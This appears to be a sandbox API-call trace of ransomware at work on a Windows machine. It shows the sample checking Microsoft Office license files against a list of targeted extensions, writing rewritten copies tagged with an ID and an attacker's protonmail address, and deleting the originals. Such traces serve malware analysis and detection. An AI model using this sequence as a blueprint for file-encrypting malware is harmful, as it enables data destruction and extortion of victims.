	[0199.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1
	[0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.575] lstrlenW (lpString=".doc") returned 4
	[0199.575] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.575] lstrlenW (lpString=".docx") returned 5
	[0199.575] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.576] lstrlenW (lpString=".pdf") returned 4
	[0199.576] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString=".xls") returned 4
	[0199.576] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString=".xlsx") returned 5
	[0199.576] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.576] lstrlenW (lpString=".ppt") returned 4
	[0199.576] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.576] lstrlenW (lpString=".zip") returned 4
	[0199.576] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString=".rar") returned 4
	[0199.576] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString=".bz2") returned 4
	[0199.576] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString=".7z") returned 3
	[0199.576] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.576] lstrlenW (lpString=".dbf") returned 4
	[0199.576] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.576] lstrlenW (lpString=".1cd") returned 4
	[0199.576] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.576] lstrlenW (lpString=".jpg") returned 4
	[0199.576] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.576] lstrlenW (lpString=".doc") returned 4
	[0199.577] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString=".docx") returned 5
	[0199.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.577] lstrlenW (lpString=".pdf") returned 4
	[0199.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString=".xls") returned 4
	[0199.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString=".xlsx") returned 5
	[0199.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.577] lstrlenW (lpString=".ppt") returned 4
	[0199.577] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.577] lstrlenW (lpString=".zip") returned 4
	[0199.577] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString=".rar") returned 4
	[0199.577] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString=".bz2") returned 4
	[0199.577] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString=".7z") returned 3
	[0199.577] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.577] lstrlenW (lpString=".dbf") returned 4
	[0199.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.577] lstrlenW (lpString=".1cd") returned 4
	[0199.577] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72
	[0199.577] lstrlenW (lpString=".jpg") returned 4
	[0199.577] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.578] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.578] lstrlenW (lpString="MondoVL_MAK-ul-oob.xrm-ms") returned 25
	[0199.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.578] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11576) returned 1
	[0199.578] CloseHandle (hObject=0x5d8) returned 1
	[0199.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220
	[0199.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.579] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.579] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.580] GetLastError () returned 0x0
	[0199.580] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0199.582] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0199.583] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.583] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0199.583] SetEndOfFile (hFile=0x580) returned 1
	[0199.584] CloseHandle (hObject=0x580) returned 1
	[0199.584] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.584] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.586] CloseHandle (hObject=0x5d8) returned 1
	[0199.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1
	[0199.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.588] lstrlenW (lpString=".doc") returned 4
	[0199.588] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.588] lstrlenW (lpString=".docx") returned 5
	[0199.588] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.588] lstrlenW (lpString=".pdf") returned 4
	[0199.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.588] lstrlenW (lpString=".xls") returned 4
	[0199.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.588] lstrlenW (lpString=".xlsx") returned 5
	[0199.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.588] lstrlenW (lpString=".ppt") returned 4
	[0199.588] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.588] lstrlenW (lpString=".zip") returned 4
	[0199.588] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.588] lstrlenW (lpString=".rar") returned 4
	[0199.588] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString=".bz2") returned 4
	[0199.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString=".7z") returned 3
	[0199.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.589] lstrlenW (lpString=".dbf") returned 4
	[0199.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.589] lstrlenW (lpString=".1cd") returned 4
	[0199.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.589] lstrlenW (lpString=".jpg") returned 4
	[0199.589] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.589] lstrlenW (lpString=".doc") returned 4
	[0199.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString=".docx") returned 5
	[0199.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.589] lstrlenW (lpString=".pdf") returned 4
	[0199.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString=".xls") returned 4
	[0199.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString=".xlsx") returned 5
	[0199.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.589] lstrlenW (lpString=".ppt") returned 4
	[0199.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.589] lstrlenW (lpString=".zip") returned 4
	[0199.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.590] lstrlenW (lpString=".rar") returned 4
	[0199.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.590] lstrlenW (lpString=".bz2") returned 4
	[0199.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.590] lstrlenW (lpString=".7z") returned 3
	[0199.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.590] lstrlenW (lpString=".dbf") returned 4
	[0199.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.590] lstrlenW (lpString=".1cd") returned 4
	[0199.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0199.590] lstrlenW (lpString=".jpg") returned 4
	[0199.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.590] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.590] lstrlenW (lpString="MondoVL_MAK-ul-phn.xrm-ms") returned 25
	[0199.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.591] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19921) returned 1
	[0199.591] CloseHandle (hObject=0x5d8) returned 1
	[0199.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220
	[0199.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.592] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.592] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.593] GetLastError () returned 0x0
	[0199.593] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0199.684] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0199.685] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.685] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0199.686] SetEndOfFile (hFile=0x580) returned 1
	[0199.686] CloseHandle (hObject=0x580) returned 1
	[0199.686] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.686] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.689] CloseHandle (hObject=0x5d8) returned 1
	[0199.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1
	[0199.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.694] lstrlenW (lpString=".doc") returned 4
	[0199.694] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.694] lstrlenW (lpString=".docx") returned 5
	[0199.694] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.694] lstrlenW (lpString=".pdf") returned 4
	[0199.695] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString=".xls") returned 4
	[0199.695] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString=".xlsx") returned 5
	[0199.695] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.695] lstrlenW (lpString=".ppt") returned 4
	[0199.695] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.695] lstrlenW (lpString=".zip") returned 4
	[0199.695] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString=".rar") returned 4
	[0199.695] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString=".bz2") returned 4
	[0199.695] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString=".7z") returned 3
	[0199.695] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.695] lstrlenW (lpString=".dbf") returned 4
	[0199.695] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.695] lstrlenW (lpString=".1cd") returned 4
	[0199.695] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.695] lstrlenW (lpString=".jpg") returned 4
	[0199.695] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.696] lstrlenW (lpString=".doc") returned 4
	[0199.696] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.696] lstrlenW (lpString=".docx") returned 5
	[0199.696] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.696] lstrlenW (lpString=".pdf") returned 4
	[0199.696] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.696] lstrlenW (lpString=".xls") returned 4
	[0199.696] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.696] lstrlenW (lpString=".xlsx") returned 5
	[0199.696] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.696] lstrlenW (lpString=".ppt") returned 4
	[0199.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.697] lstrlenW (lpString=".zip") returned 4
	[0199.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.697] lstrlenW (lpString=".rar") returned 4
	[0199.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.697] lstrlenW (lpString=".bz2") returned 4
	[0199.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.697] lstrlenW (lpString=".7z") returned 3
	[0199.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.697] lstrlenW (lpString=".dbf") returned 4
	[0199.697] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.697] lstrlenW (lpString=".1cd") returned 4
	[0199.697] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0199.697] lstrlenW (lpString=".jpg") returned 4
	[0199.697] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.697] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.697] lstrlenW (lpString="O365BusinessR_Subscription-ppd.xrm-ms") returned 37
	[0199.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.698] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=25386) returned 1
	[0199.698] CloseHandle (hObject=0x5d8) returned 1
	[0199.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 0x220
	[0199.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.699] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.699] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.700] GetLastError () returned 0x0
	[0199.700] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x632a, lpOverlapped=0x0) returned 1
	[0199.703] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x6330, lpOverlapped=0x0) returned 1
	[0199.704] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
